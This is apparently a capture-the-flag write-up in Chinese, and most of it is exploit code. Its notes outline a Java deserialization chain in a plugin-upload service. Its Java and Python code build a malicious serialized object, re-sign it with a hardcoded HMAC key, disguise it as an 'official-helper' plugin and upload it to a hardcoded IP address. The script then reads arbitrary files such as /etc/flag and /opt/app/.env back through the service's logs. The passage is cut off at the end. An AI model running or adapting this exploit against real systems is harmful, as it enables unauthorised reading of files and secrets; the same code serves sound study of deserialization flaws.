已知前端和 agent-core.jar 都说明插件包必须包含 manifest.json 与 metadata.ser，并且上传后会校验 HMAC。继续看反序列化相关类可以发现：
- 根对象可以用
ResourceRefresher ResourceRefresher.refresh()会调用DataStream.process(...)DataStream最终会让FileExporter.export(path)读取目标文件FileExporter再把内容写入LogService.log(team_id, ...)
2.写恶意metadata
所以只要自己生成一个恶意 metadata.ser，再用题目给的密钥重新签名，就能把任意文件读到日志里。
import com.agent.update.deserialization.DataStream;
import com.agent.update.deserialization.FileExporter;
import com.agent.update.deserialization.ResourceRefresher;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;public class BuildReadPayload {public static void main(String[] args) throws Exception {if (args.length != 3) {System.err.println("Usage: BuildReadPayload <teamId> <targetPath> <outputFile>");System.exit(1);}String teamId = args[0];String targetPath = args[1];String outputFile = args[2];FileExporter exporter = new FileExporter(teamId);DataStream dataStream = new DataStream(targetPath, exporter);ResourceRefresher refresher = new ResourceRefresher(targetPath);refresher.setDataStream(dataStream);try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(outputFile))) {oos.writeObject(refresher);}}
}#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import json
import shutil
import subprocess
import sys
import tempfile
import urllib.error
import urllib.parse
import urllib.request
import zipfile
from pathlib import PathBASE_DIR = Path(__file__).resolve().parent
SRC_ROOT = BASE_DIR / "payload_src"
BUILD_DIR = BASE_DIR / "payload_build"
JAVA_SRC = BASE_DIR / "BuildReadPayload.java"
JAVA_CLASS = BUILD_DIR / "BuildReadPayload.class"
HMAC_KEY = b"k3y_5A62_X86"def run(cmd):subprocess.run(cmd, check=True, cwd=BASE_DIR)def ensure_builder():source_files = [JAVA_SRC, *SRC_ROOT.rglob("*.java")]if JAVA_CLASS.exists() and all(JAVA_CLASS.stat().st_mtime >= src.stat().st_mtime for src in source_files):returnBUILD_DIR.mkdir(exist_ok=True)run(["javac", "-d", str(BUILD_DIR), *[str(src) for src in source_files]])def build_metadata(team_id: str, target_path: str, out_file: Path):ensure_builder()run(["java", "-cp", str(BUILD_DIR), "BuildReadPayload", team_id, target_path, str(out_file)])def sign_file(path: Path) -> str:data = path.read_bytes()digest = hmac.new(HMAC_KEY, data, hashlib.sha256).digest()return base64.b64encode(digest).decode()def build_zip(team_id: str, target_path: str, out_zip: Path):with tempfile.TemporaryDirectory() as tmp_dir:tmp_path = Path(tmp_dir)metadata_path = tmp_path / "metadata.ser"manifest_path = tmp_path / "manifest.json"build_metadata(team_id, target_path, metadata_path)manifest = {"pluginName": "official-helper","version": "1.0.1","hmacSignature": sign_file(metadata_path),"description": f"team={team_id} target={target_path}",}manifest_path.write_text(json.dumps(manifest, ensure_ascii=False, indent=2), encoding="utf-8")with zipfile.ZipFile(out_zip, "w", zipfile.ZIP_DEFLATED) as zf:zf.write(manifest_path, "manifest.json")zf.write(metadata_path, "metadata.ser")def http_get(url: str):req = urllib.request.Request(url, method="GET")with urllib.request.urlopen(req, timeout=15) as resp:return resp.status, resp.read()def http_upload(url: str, team_id: str, zip_path: Path):boundary = "----CodexBoundary7MA4YWxkTrZu0gW"body = bytearray()def add_text(name: str, value: str):body.extend(f"--{boundary}\r\n".encode())body.extend(f'Content-Disposition: form-data; name="{name}"\r\n\r\n'.encode())body.extend(value.encode())body.extend(b"\r\n")def add_file(name: str, filename: str, content: bytes):body.extend(f"--{boundary}\r\n".encode())body.extend(f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'.encode())body.extend(b"Content-Type: application/zip\r\n\r\n")body.extend(content)body.extend(b"\r\n")add_text("team_id", team_id)add_file("file", zip_path.name, zip_path.read_bytes())body.extend(f"--{boundary}--\r\n".encode())req = urllib.request.Request(url, data=bytes(body), method="POST")req.add_header("Content-Type", f"multipart/form-data; boundary={boundary}")req.add_header("Content-Length", str(len(body)))with urllib.request.urlopen(req, timeout=20) as resp:return resp.status, resp.read()def parse_args():parser = argparse.ArgumentParser(description="Exploit the agent upload deserialization bug")parser.add_argument("--base-url", default="http://39.105.213.28:9000")parser.add_argument("--team-id", default="codex-team")parser.add_argument("--target",action="append",dest="targets",help="File path to read; can be passed multiple times",)parser.add_argument("--zip-out", help="Write a single payload zip to this path")parser.add_argument("--build-only", action="store_true")parser.add_argument("--keep-artifacts", action="store_true")return parser.parse_args()def extract_messages(log_blob: bytes):data = json.loads(log_blob.decode())return [item.get("message", "") for item in data.get("logs", [])]def main():args = parse_args()targets = args.targets or ["/etc/flag", "/opt/app/.env"]if args.zip_out and len(targets) != 1:raise SystemExit("--zip-out requires exactly one --target")work_dir = Path(tempfile.mkdtemp(prefix="agent-upload-"))print(f"[+] team_id = {args.team_id}")print(f"[+] work_dir = {work_dir}")try:for idx, target in enumerate(targets, start=1):zip_path = Path(args.zip_out) if args.zip_out else work_dir / f"plugin-{idx}.zip"build_zip(args.team_id, target, zip_path)print(f"[+] built payload for {target}: {zip_path}")if args.build_only:print()continuetry:status, body = http_upload(f"{args.base_url}/api/upload", args.team_id, zip_path)print(f"[+] upload status={status} body={body.decode(errors='replace')}")except urllib.error.HTTPError as exc:err_body = exc.read().decode(errors="replace")print(f"[+] upload returned HTTP {exc.code}: {err_body}")except urllib.error.URLError as exc:print(f"[!] upload failed: {exc}")print()continuestatus, logs = http_get(f"{args.base_url}/api/logs?{urllib.parse.urlencode({'team_id': args.team_id})}")print(f"[+] logs status={status}")for message in extract_messages(logs):print(f" {message}")print()finally:if args.keep_artifacts:print(f"[+] keeping artifacts in {work_dir}")else:shutil.rmtree(work_dir, ignore_errors=True)if __name__ ==